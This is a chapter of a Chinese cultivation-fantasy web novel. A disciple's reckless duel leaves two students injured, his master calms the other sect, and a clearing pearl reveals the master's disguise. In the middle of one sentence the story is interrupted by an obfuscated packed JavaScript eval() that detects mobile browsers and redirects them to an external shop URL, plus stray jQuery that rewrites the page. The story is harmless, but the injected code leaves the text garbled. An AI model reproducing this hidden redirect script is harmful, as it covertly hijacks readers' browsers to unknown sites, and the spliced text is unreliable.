“好大的口气,管你什么符箓灵兽,通通使出来!本小姐今天就要看看,你这家伙究竟有多大的本事,竟敢这般造次!” 17. 第十七章 龚清仪没有愧对她内门亲传的头衔,比起之前的外门,显然出色许多。 她的一手软剑仿佛游蛇,似缠似绞,剑光织成了一座樊笼,将火云狐和燃烧符都隔绝在战圈之外。 反观楚怜,灵力不济已是定局,剑法依然极具楚家风骨。 指骨在残剑轻叩,螺壳似的腕关一沉,一柄青锋快若闪电,如风的剑啸倏起倏灭,雪光纷叠,数息破开了龚清仪的桎梏,丝毫没有落在下风。 众人看得呆了,龚掌门更是没有意料到这幅局面。 他原本想着,能否留下楚怜都不要紧,只是楚怜把与剑台的颜面杀得太过,至少要挫一挫他的锐气。 之后对龚清仪不轻不重责罚一番,再说与剑台心怀大度,虽然楚怜输了,但还是愿意放行,想来燕辞北也不好再多纠缠。 可是—— 两团灵光正在校场中肆无忌惮地碰撞。 现在已不像是龚清仪停手就能结束的闹剧,而是楚怜在穷追猛打。 楚怜一面交手,一面运转心法,毫不顾忌自己的极限。 龚清仪丰沛的灵力源源不断地倾注剑身,楚怜却没有灵根作为筛选,于是五行灵气不分彼此地灌进身体,他近乎贪婪地吸纳着一切灵气。 驳杂而混乱的灵气充斥了灵脉,也不断冲荡着这具脆弱的躯壳。很快就震破脏腑,让他七窍涌血,双手却不肯松剑。 令人头皮发麻的脆响起伏不断,听得出来,是楚怜的剑裂在加剧。 须臾,灵光中忽然荡开一场小型的爆炸。 燕辞北和白折竹同时拔身而起。一红一白掠向半空里两点坠落的残影,各据西东,接住了相应的伤者。 火云狐也奔向燕辞北,水汪汪的眼睛满是自责,歉意地轻蹭燕辞北的后腰。 燕辞北接的当然是楚怜,白折竹接住的则是龚清仪。 两个少年都气衰力竭,龚清仪稍好不多,但也再起不能,只有惊愕的双目盯着手部,那里在血污的掩盖下,正爬起丝缕诡异的青紫。 她拉住白折竹的袖子,试图说些什么。 一声巨响打断了她——燕辞北一袖挥断距离他们最近的一座鼓架,大鼓轰然倾倒,激起烟尘无数。 龚清仪心中微寒,话语不知怎么就堵在了喉咙里。 “现在,他和你们可以一刀两断了吗?” 燕辞北问。 他的面上没有明显的怒意,声音里也听不出情绪。 但在鼓面反复震荡带动的闷雷似的回响中,全场鸦雀无声,没有一个人敢对上燕辞北的视线。 白折竹深吸一口气:“老妹,大家都不希望闹成这样的……” 燕辞北反问:“是不是一刀两断?” 白折竹一噎,半晌挣扎着点头:“是。你放心,我们肯定对楚道友的伤势负责到底,更何况他是你的徒弟。” 静水峰人不敢怠慢,峰主和彭长老都迎上看诊。 凤衔玉跟上燕辞北,龚掌门也颤抖着赶来,看到自己女儿还有清醒,稍稍松一口气。可楚怜那边成了一个血人,剧痛之下说不出半个字,只是死死抓着那把只剩剑柄的残剑,似乎生机渺茫。 内门大选匆匆暂停,一众长老都被请来会诊。 倒不是两人的伤处有多稀奇,只是燕辞北显而易见的震怒,叫他们不敢不郑重。 过去几日,好歹两个伤患都无大碍,一起在静水峰静养。 默许了这场争斗的龚掌门心有余悸,好不容易从照顾女儿和处理事务的繁忙中抽身,他便立即去找燕辞北道歉。白折竹也亲自陪着。 然而两人都吃了闭门羹,只有凤衔玉出面客套几句。 “师尊说,只要贵宗别再食言就好。等师弟能下地了我们就返程,不再叨扰贵宗。这段时日用的灵草丹药也请记在账上,来日合欢宗都会送还。” 龚掌门连连道歉:“还是请凤道友再帮忙通传一句,这回都是与剑台的失礼,任何补偿都是我们应该的……” 凤衔玉摇头。 白折竹道:“至少让我和她见一面吧?我保证不帮师叔说话。” 凤衔玉叹息着,却还是摇头:“就算师尊愿意,现在也不在这里。” 这对师叔侄只好打道回府,龚掌门半路又被叫走,托白折竹代他探望龚清仪。 对这个小师妹,白折竹一样头疼得紧。 龚清仪的脾气倔,不如楚怜出名,可也恶名昭彰。 这回闯下大祸,虽然与剑台能保她,但白折竹心里总觉得亏欠燕辞北师徒,也不知道要用什么态度对待龚清仪。 而今楚怜和龚清仪各住静水峰的一座小苑,彭长老特意划了相隔最远的两座,天南地北,隔着正中的静水宫,仿佛楚河汉界。 倒没想得来全不费工夫,经过静水宫时,就见彭长老匆匆从龚清仪的小苑出来。 见到他,彭长老道:“去看清仪?巧了,尊者也在呢。” 白折竹眼睛骤亮,急忙赶去。 刚拂开门帘,就听到内里飘出断断续续的呜咽,像是女子在哭。 他顿下脚步,一时间进退两难,恰好燕辞北也叹息一声,对龚清仪道:“楚怜说了,这回的事,以前的事,都不怪你。你也不必自责太过,伤了心神。” 龚清仪啜泣着说:“我……我真的不是想杀他……我的灵力突然就不受控,他身上有股奇怪的力量在吸我的灵力!尊者,请您一定帮我解释,当时我是留了力的……我怎么会用金丹期的灵力欺负一个炼气期的人呢?但是……但是……” 燕辞北又叹了一声:“本座明白,楚怜也明白的。” “我真的很抱歉……” 白折竹阔步入内,清了清嗓:“你要是真的抱歉,之后还要亲自找楚道友道歉。再者讲,道歉是口头说说就能算的吗?你自己想想,要赔多少礼才恰当吧。” 燕辞北早就感受到他的灵息,见他进来也不惊讶。 龚清仪嗫嚅着点头,下意识往燕辞北的身后缩了缩。 倒把白折竹衬托得更像恶人。 白折竹有些不忿,换个话题:“那刚才清仪说的灵力不受控又是怎么回事?楚怜也有吗?有没有和静水峰说过这个情况?会不会落下病根?” 龚清仪的表情却微微变了一下。 她先看了看燕辞北的表情,燕辞北轻轻摇头,她便抿紧嘴唇:“不打紧,可能就是我疏忽了。” 见白折竹还想追问,燕辞北先堵住话头:“不用赔礼,楚怜的宝贝多了去,赔什么礼都是占他空间。” 说着站起了身,“彭长老刚说要去看楚怜的情况,本座就不久留了。” 白折竹确定燕辞北是真的对龚清仪没有敌意,大松一口气,屁颠颠跟上去:“愚兄送你。” 这回燕辞北没有拒绝。 只是笑眯眯地拍拍他的肩膀:“好啊,正好把你的十万灵石彻底清算一下。” 白折竹:“……” 他就不该替他师叔来这一趟。 - 白折竹这边庆幸着燕辞北大人不记小人过,殊不知燕辞北也是满心侥幸。 幸好他穿书后就努力把原著都回忆了几遍,要命的剧情全牢记了。 楚家的法门本来就有蹊跷,以吞食灵气,强行扩张自己的灵脉为荣,激进之余已经到了邪异的地步,和鬼修颇有相通之处。 也是因为这个,楚怜的母亲才会和鬼王搭上关系,诞下楚怜。 现在身负鬼王血脉的楚怜更是集大成者。 原著他和龚清仪也有交手,不过是作为内门大选的最后一战。 而龚清仪在原著里就感受到自己的灵力失控,被楚怜无限吞食。这让龚清仪大惊之下,刚刚伤愈就找到掌门揭发。 可惜她晚了一步,白折竹已经收下楚怜,龚掌门也没有深想。 但后来龚清仪并未放弃深挖这一线索。 没过多久,就是她引爆了这根引线,让楚怜的身份被迫公开。 燕辞北既然知道这件事,当然不能坐以待毙。 不仅得在校场打断龚清仪的发言,之后找到龚清仪好好安抚,叫她放下嫌疑也很要紧。 否则让楚怜再次成为众矢之的,那只能是人修的噩梦。 好在龚清仪对南离尊者异常敬仰,他说了龚清仪就相信,三言两语打消疑虑,白折竹的智商也不会多想。 就这么太平无事,再好不过。 白折竹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274514|198171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只送他到小苑外:“刚才已经碍了凤道友一次眼,愚兄就不进去讨嫌了。十万灵石嘛,你们走之前愚兄肯定送到。” 燕辞北:“你是怕楚怜的嘴吧?” 白折竹假笑。 燕辞北挥挥手,独自回去了。 彭长老分的这座院落相当幽静,鸟语花香,是个静养的好地方。 距离他们约定的时间还有一会儿,凤衔玉先去沏茶,留下燕辞北在房中照顾。楚怜前两天也已转醒,虽然脸上还是没什么血色,但灵脉修复得七七八八。 燕辞北期间喂了不少血给他,凤凰种的力量也温养着楚怜的内伤。 “师尊怎么舍得回来?不是好些日子没见挚友吗?” 刚进房间,楚怜瓮声瓮气的询问就从屏风后飘了过来。 燕辞北咳嗽两声:“耳朵这么灵?咳,徒弟有伤在床,为师哪里静得下心和朋友玩呢?今天的丹药你吃没有?” 楚怜哼唧着没有答应。 燕辞北又问了一次,才听他答:“死不了就够了,就算死了,想当你徒弟的还排着队呢。龚清仪就是一个。” 那就是没吃。 楚怜很不乐意他找龚清仪议和的事,所以这两天格外难哄。 但理智上楚怜似乎也知道自己切磋时的失控,明白燕辞北是想大事化小小事化了,所以多哄几句,最终还是会吃。 “可为师稀罕的徒弟只有你和衔玉两个啊。” 好听话已经信手拈来,燕辞北走进屏风,熟练地抓起楚怜的手,“是不是把药藏进芥子戒了?” 楚怜的芥子戒品阶极高,大到仙宫,小到珠宝,全数塞在里边,还不爱打扫。 燕辞北在他受伤后才得到临时权限,可以进出芥子戒的部分区域,初次进去就被吓得半宿合不上眼,脑海里全是堆积成山、弃掷逦迤的灵石珠宝、符箓丹药。 直到现在他还是有些生疏,时常迷失在那片修二代的世界。 楚怜不吱声,燕辞北就自己找。 静水峰的灵丹楚怜都不太瞧得上,大部分时候要吃自己的。 半晌,燕辞北陆续掏出了一颗上品净灵珠、一株万年大衍参、两盒天阶上品的无极丹…… 擦一把汗,燕辞北:“给个方向好吗?” 楚怜一直被他握着手,不知道什么表情,这会儿把头藏进了被子里。 闻言才闷闷地提示:“再往左一点。” 燕辞北依言照做。 又摸到了一颗浑圆的东西。 “是这个吗?” 楚怜抬眼看去,蓦然一顿。 燕辞北正举着一颗小小的圆珠观察,叉着腰自言自语:“不对,这玩意儿不能吃吧。这什么啊?” 楚怜:“这个是……” 楚怜的声线突然有些颤抖,他眨了一会儿眼睛,又抬手擦擦眼睛。 燕辞北:“怎么了?” 楚怜:“………” 楚怜擦眼睛的速度更快了。 其实他比燕辞北更想问“怎么了”。 在燕辞北拿起那颗圆珠的同时,楚怜的视野便发生了一阵扭曲的变化。 他甚至怀疑是自己中了邪。 因为他看到…… 他师尊的胸,平了。 “这个是可以解除幻术的清神珠。它所在的方圆数尺,任何幻术都会失效……”楚怜结巴了一下,“包括渡劫期大能。” 燕辞北觉得有哪里不对,但他一时间想不起哪里不对。 所以把清神珠塞回了芥子戒:“那药到底在哪?” 幻术重新发挥效用,楚怜又回到了熟悉的世界。 楚怜:“…………” 举世皆知,南离尊者是一位风华绝代、倾国倾城的美人。 举世又皆知,合欢宗截至现在,除了楚怜,应该没有第二个男弟子。 但是,可是,然而。 楚怜猛地握住燕辞北的手。 燕辞北不明所以地看着徒弟,但只看到一张通红的脸。躲闪的目光里难掩激动,可是他根本不理解楚怜在激动什么。 许久,才听楚怜说:“我明白的,师尊。我都明白的。” 燕辞北:“嗯?”